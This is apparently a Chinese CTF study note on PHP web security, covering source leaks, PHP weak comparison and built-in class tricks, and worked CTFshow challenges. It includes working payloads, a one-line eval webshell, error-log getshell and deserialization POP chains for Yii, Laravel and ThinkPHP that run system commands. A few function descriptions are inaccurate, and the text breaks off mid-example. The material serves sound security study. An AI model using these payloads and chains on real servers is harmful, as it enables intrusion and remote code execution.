PHP大排档

First Post:

Last Update:

安全无止境,继续前进吧!

(听说岛上来了几位异世界的大厨?)

信息收集

展开攻击之前的必要步骤;

源码泄露

  1. 开发注释未及时删除,按F12可以查看源码获取信息;

  2. 有些网页设置了js前台绕过无法按F12,在网址前端添加’view-source:’或者前往浏览器设置关闭javascript即可绕过;

  3. 对于缺乏防护的网页,通过以下访问手段可以下载网页源代码;

    1
    2
    url/index.phps
    url/www.zip
  4. 版本控制泄露

    1
    url/.git/index.php

敏感数据泄露

  1. robots后台泄露
    robots.txt规定了用户能够访问网页的范围;
    缺乏防护时,访问robots.txt可以获取到网页关键路径等信息;

    1
    url/robots.txt
  2. 探针泄露
    开发完成后,未及时删除的探针可能导致信息泄露;
    记得删除探针,或者将探针命名为复杂不易猜的名字;

    1
    url/tz.php
  3. cookie泄露
    cookie的本质是一个文档,它会记录用户的访问信息;
    如果没有对cookie设置HttpOnly属性,一旦被截获就会造成信息泄露;

  4. 数据库恶意下载
    mdb文件是早期asp + access架构的数据库文件,文件泄露相当于数据库被脱裤了;
    与此同时,备份的sql文件也可能会泄露敏感信息;
    网页按F12可以查看到当前网页的cookie键和值;

    1
    2
    url/db/db.mdb
    url/backup.sql

暴力破解

想要实现网页爆破,你需要学会使用Burpsuite进行重放攻击;

  1. 纯数字情形
    对于纯数字组合的信息,可以使用Burpsuite设置区间构造字典实施爆破。爆破完成后,通过返回长度可以很容易地确认密码,随后查看响应内容获取信息。

  2. 一般情形
    如果爆破内容包含了字母以及特殊字符,也可以采用上面的方法,但是比较费时间;
    最好调用自己提前准备好的字典,展开有针对性的爆破攻击,后面的操作方法同上。

  3. 随机数情形
    如果要爆破的信息是用随机数种子动态生成的,就不要头铁爆破了(这里用到了伪随机数漏洞,详见下文)。先在本地搭建好PHP环境或Linux环境,然后调用靶场的随机数种子生成随机数,最后传参。

PHP特性

变量特性

  1. 默认为字符串类型;

  2. 使用不同进制、不同类型、有无+号表示同一个数,含义相同;

  3. 数组绕过
    相同变量名不同类型,被认为是不同变量;数组内没有元素时会被认为是空字符;

  4. 变量覆盖

弱比较

数组弱比较

intval()函数,用于获取参数的整数值;
该函数转换数组类型时,不关心数组中的内容,只判断数组中有没有元素;
如果$base为0,则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,在PHP中可以不是科学计数法’0e’;

md5弱比较

MD5加密漏洞,不同的字符串可能拥有相同的md5值;

  1. ‘0e’绕过
    如果MD5值开头为’0e’,那么md5()将会被绕过并返回’NULL’;

  2. 特殊浮点数常量
    PHP内置了’NAN’’ISF’两个特殊浮点数常量;
    将这两个常量转成其他类型之后的md5值与原先的浮点类型md5值相等;

相对地,采用强比较时,本质上是将变量转化为字符串后再进行比较

sha1弱比较

与MD5弱比较类似,不同的字符串可能拥有相同的sha1值;

逻辑弱比较

在进行多条件比较时,PHP只会判断第一个条件是否为真;当第一个条件成立时,不会判断后面的条件;

函数特性

  1. 常见功能函数

    1
    2
    3
    4
    hex2bin(hex)   // 将十六进制数hex转换成字符串
    strrev() // 将字符串倒序排列
    extract($_GET) // 允许用户进行变量覆盖
    file_put_contents() // 允许用户写入文件
  2. substr($v2, num)
    截掉字符串v2的前num个字符;
    如果要保留完整内容。需要在字符串前添加num个字符绕过截断;
    当num < 0时,则截掉字符串v2的后num个字符,需要在字符串后面添加;

  3. ereg( string $pattern, string $string[, array &$regs] )
    正则表达式匹配;
    如果在’string’中找到’pattern’模式的匹配,则返回字符串的长度,没找到或出错则返回 FALSE;
    如果没有传递入可选参数’regs’或者所匹配的字符串长度为’0’,则本函数返回’1’;
    该函数存在NULL截断漏洞:当字符串变量出现’%00’时,字符串会被截断,后续字符串内容将不再读取;

  4. forward_static_call_array()
    允许用户调用静态方法并且将数组作为参数;
    在php当中,默认命名空间是’\‘,所有原生函数和类都在这个命名空间中;
    普通调用一个函数,如果直接写函数名调用,调用的时候其实相当于写了一个相对路径;

  5. ini_set($name, $value)
    允许修改php.ini的部分配置信息;
    该函数可用于异常执行,即自行修改报错信息error_log的保存路径,写入报错信息并包含要执行的PHP代码,从而实现getshell;

    1
    ?name=error_log=&value=/var/www/html/shell.php
  6. system()
    将字符串识别为PHP代码并执行;
    该函数存在截断问题:如果字符串中含有’%00’,就会造成截断问题,触发异常;

  7. call_user_func($callback, $args)
    把第一个参数作为回调函数调用;
    第一个参数callback是被调用的回调函数,其余参数是回调函数的参数;

内置类

反射类

1
2
3
4
ReflectionClass()
ReflectionMethod()
ReflectionFunction()
ReflectionParameter()

原生类

  1. Exception() / Error()
    用于构造XSS、绕过哈希比较;

  2. SoapClient()
    一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端;
    用于利用SSRF;

  3. SimpleXMLElement()
    用于解析XML文档中的元素,可用于利用XXE;

回溯上限

常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机);
DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入;
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态;

大多数程序语言都使用NFA作为正则引擎,其中也包括PHP使用的PCRE库;
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit;
大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

短路求值

同C语言一样,PHP的逻辑运算也存在短路求值机制:
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;
对于“或”(||) 运算: x || y 当x为true时,直接跳过,不执行y;

举些例子(以下题目均来自CTFshow)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){ // v1必须为纯字母
die("v1 error");
}
if(!is_numeric($v2)){ // v2为纯数字
die("v2 error");
}
if(md5($v1)==md5($v2)){ // 两者MD5相等即可获取flag
echo $flag;
}
}else{
echo "where is flag?";
}
?>

考点:MD5弱比较

payload:
?v1=QNKCDZO&v2=240610708
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ctfshow_群友挑战_我是一个复读机
<?php

include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
echo "小伙子不错嘛!!flag给你了:" . $flag;
} else {
echo "偶吼,带黑阔被窝抓到了!!!!";
}
}
考点:MD5弱比较

解题思路:
要求YBB参数的md5值与自身的弱比较能够通过,即两者开头均为'0e'即可;

payload:
?YBB=0e215962017
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

?>

考点:SHA1弱比较

payload:
GET部分:?v2=aaO8zKZF
POST部分:v1=aaK1STfY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

解题思路:
中间的两行代码没有作用,因为我们不提交flag参数;

payload:
GET部分:?HTTP_FLAG=flag
POST部分:HTTP_FLAG=flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

payload:
GET部分:?n=2.php
POST部分;content=<?php @eval($_POST[a]);?>

GET部分:2.php
POST部分:
a=system('ls');
a=system('tac flag36d.php');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

payload:
?v1=21&v2=var_dump($ctfshow)&v3=;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); // 判断var是否为数字或数字字符串,是则返回True,否则返回False;
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
考点:逻辑弱比较,敏感字符过滤

payload:
?v1=2333&v2=echo new Reflectionclass&v3=;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

解题思路:
<?=`cat *`;
base64编码-> PD89YGNhdCAqYDs=
Hex编码-> 5044383959474e6864434171594473

payload:
GET部分:v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST部分:v1=hex2bin

访问1.php查看源代码即可获取flag;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

考点:变量覆盖

解题思路:
由代码内容可知:通过GET方法传入的参数名不能为'error',通过POST方法传入的参数值不能为'flag'
所以GET部分只能传入'$suces',POST部分只能传入'$error'
通过变量覆盖,将'$flag'的值传给'$suces',再将'$suces'的值传给'$error',以此绕过检测;

payload:
GET部分:?suces=flag
POST部分:error=suces
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>

考点:内置类

payload1:
?v1=Exception&v2=system('ls')
?v1=Exception&v2=system('tac fl36dg.txt')

payload2:
?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

payload3:
?v1=ReflectionFunction&v2=system('ls')
?v1=ReflectionFunction&v2=system('tac fl36dg.txt')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>

解题思路:
使用GLOBALS常量数组绕过词法作用域限制;

payload:
?v1=ctfshow&v2=GLOBALS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

解题思路1
/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了;
payload1:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

解题思路2:zip伪协议;
payload2:
?file=compress.zlib://flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

解题思路:
trim()函数会去掉num里的%0a, %0b, %0d, %20, %09
PHP强比较的本质是比较两个字符串,弱比较会把传入的num进行类似于intval()的转化;
is_numeric():检测是不是数字/数字字符串;这里的%0c是换页符,%09,%20都可以让is_numeric()函数为true

payload:
?num=%0c36
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

解题思路:
在php中,变量名只能由数字、字母、下划线组成,被GET或者POST传入的变量名,如果含有空格、'+''['等字符,就会被转化为'_'
php中有个特性:如果传入'[',它被转化为'_'之后,后面的字符就会被保留下来不会被替换;

payload1:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

payload2:
CTF_SHOW=&CTF[SHOW.COM=&fl0g=flag_give_me&fun=extract($_POST)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

解题思路:
在上一题的基础上增加了关键词过滤,echo失效;
使用extract()函数,将'POST'里面的元素转化为变量,实现对'fl0g'的赋值;

payload:
CTF_SHOW=&CTF[SHOW.COM=&fl0g=flag_give_me&fun=extract($_POST)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";

解题思路:
通过绝对路径调用函数;

payload:
?a=\system&b[]=ls;
?a=\system&b[]=tac flag.php;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

解题思路:
$_SERVER['argv'][0]是脚本名
assert()函数用于执行字符串中的PHP代码

payload:
GET部分:
?$fl0g=flag_give_me

POST部分:
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow') > 0){
echo readfile($f);
}
}
考点:目录穿越

解题思路:
stripos()函数用于查找字符串在另一字符串中第一次出现的位置(不区分大小写);
题目要求stripos($f, 'ctfshow'),也就是ctfshow在变量f中出现的第一个位置,此时需要构建一个目录,让ctfshow自行索引查找;

payload:
?f=/ctfshow/../../../var/www/html/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

解题思路:
要想得到flag,首先必须正则匹配为false
"/.+?ctfshow/is"后面的i表示大小写匹配,s表示忽略换行符,单行匹配;;
在不加转义字符的前提下,前面的点表示任意字符,而"+?"表示非贪婪匹配,即前面的字符至少出现一次;
所以,该正则匹配的意思为:ctfshow前面如果出现任意字符,即匹配准确;
再根据下面的stripos为字符串匹配函数,要求输入的参数必须有"ctfshow"字符,所以输入的参数只需要满足ctfshow前面不加任意字符即可;

payload:
f=ctfshow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}
考点:正则表达式溢出

PoC:
<?php
echo "f=".str_repeat("very", 250000)."36Dctfshow";
?>
// payload过长,不宜展示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}
考点:短路求值

payload:
?username=admin&password=admin&code=admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
"ls '".filter($_GET[1])."'"
);

function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}

解题思路:
将一句话木马写入报错信息,执行错误日志;

payload:
?name=error_log&value=/var/www/html/1.php&1=%00<?php%20system("tac /flag");?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

考点:变量覆盖

解题思路:
先将GET方法请求解析成变量,然后再利用extract()函数将变量从数组中导入到当前的符号表;

payload:
?_POST[key1]=36d&_POST[key2]=36d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

考点:函数调用、POST数组特性

解题思路:
过滤了':',根据call_user_func()的函数用法将参数按序传入POST数组中即可;

payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

PHP反序列化

什么是序列化与反序列化?

为了解决PHP对象传递的问题,即PHP文件在执行结束以后就会将对象销毁,人们决定使用序列化方式将对象转换成可传输格式(字节流);
与之相应的是反序列化:将字节流恢复成对象,即从存储中读取数据并重新创建对象;
在PHP应用中,序列化和反序列化一般用作缓存,比如session缓存、cookie缓存等,其目的是为了方便数据的传输和存储;

操作函数

  1. serialize()
    将对象中的成员变量转换成字符串(序列化);
  2. unserialize()
    将序列化字符串还原为对象中的成员变量(反序列化);

输出格式:

1
O:类名长度:"类名":变量数:{变量1的类型:变量名1长度:"变量名1";变量1的类型:变量1值长度:"变量1的值";变量2的类型:变量名2长度:"变量名2";变量2的类型:变量2值长度:"变量2的值";……;变量n的类型:变量名n长度:"变量名n";变量n的类型:变量n值长度:"变量n的值";}

其中’O’代表类;
其他类型:s代表字符串,i代表整型,f代表浮点型,b代表布尔类型;

对象区别:

  1. private输出格式:%00类名%00成员名;
  2. protected输出格式:%00*%00成员名;

常用芝士

学习下面的芝士之前,你要先学会构造PoC,这部分手动构造payload会S人的;
这里提供一个基本的PoC模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test{
public $a = 'ThisA'; // 公有变量
protected $b = 'ThisB'; // 保护变量
private $c = 'ThisC'; // 私有变量
public function test1()
{
return "this is test1";
}
}
$test = new Test();
$sTest = serialize($test); // 序列化
$usTest = unserialize($sTest); // 反序列化
var_dump($usTest);
?>
1
2
3
4
5
输出结果:
object(Test)[2]
public 'a' => string 'ThisA' (length=5)
protected 'b' => string 'ThisB' (length=5)
private 'c' => string 'ThisC' (length=5)

可见,类的各个成员变量都被还原了,但是类的方法没有被还原,因为执行序列化的时候不保存类的方法;
此外,在传入序列化字符串之前需要进行一次url编码,因为字符串上传到服务器之后会自动执行一次url解码;

魔术方法

一些常用的PHP自动调用方法:

1
2
3
4
5
6
7
8
9
10
11
12
__construct():
__destruct():
__invoke():
__tostring():
__wakeup():
__sleep():
__call():
__callStatic():
__get():
__set():
__isset():
__unset():

字符串逃逸

Yii反序列化漏洞

Yii2.0.38 之前的版本存在反序列化漏洞,其CVE编号是CVE-2020-15148:
程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令;
2.0.38已修复,官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,__wakeup方法在类被反序列化时会自动被调用,
而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞;

一些Pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {

use yii\rest\IndexAction;

class Generator
{
protected $formatters;

public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{

use Faker\Generator;

class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}

Laravel反序列化漏洞

一些Pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
namespace Illuminate\Broadcasting{

use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;

class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{

use Mockery\Generator\MockDefinition;

class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{

use Mockery\Loader\EvalLoader;

class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{

}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name="feng";
}
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php system('cat /flag');exit()?>";
$this->config=new MockConfiguration();
}
}
}

namespace{

use Illuminate\Broadcasting\PendingBroadcast;

echo urlencode(serialize(new PendingBroadcast()));
}

ThinkPHP反序列化漏洞

一些Pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}

namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

pickle反序列化漏洞

举些例子(以下题目均来自CTFshow)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); // Cookie传入变量'user'进行反序列化
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

解题思路:
GET传入变量的同时,需要将'isVip'的值从false变成true
将类ctfShowUser和变量isVip序列化,再修改isVip的值,通过Cookie传入;

payload1:
GET部分:?username=xxxxxx&password=xxxxxx
COOKIE部分:user=O:11:"ctfShowUser":3:{s:8:'username';s:6:'xxxxxx';s:8:'password';s:6:'xxxxxx';s:5:"isVip";b:1;}
->user=O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%27username%27%3bs%3a6%3a%27xxxxxx%27%3bs%3a8%3a%27password%27%3bs%3a6%3a%27xxxxxx%27%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d

payload2:
GET部分:?username=xxxxxx&password=xxxxxx
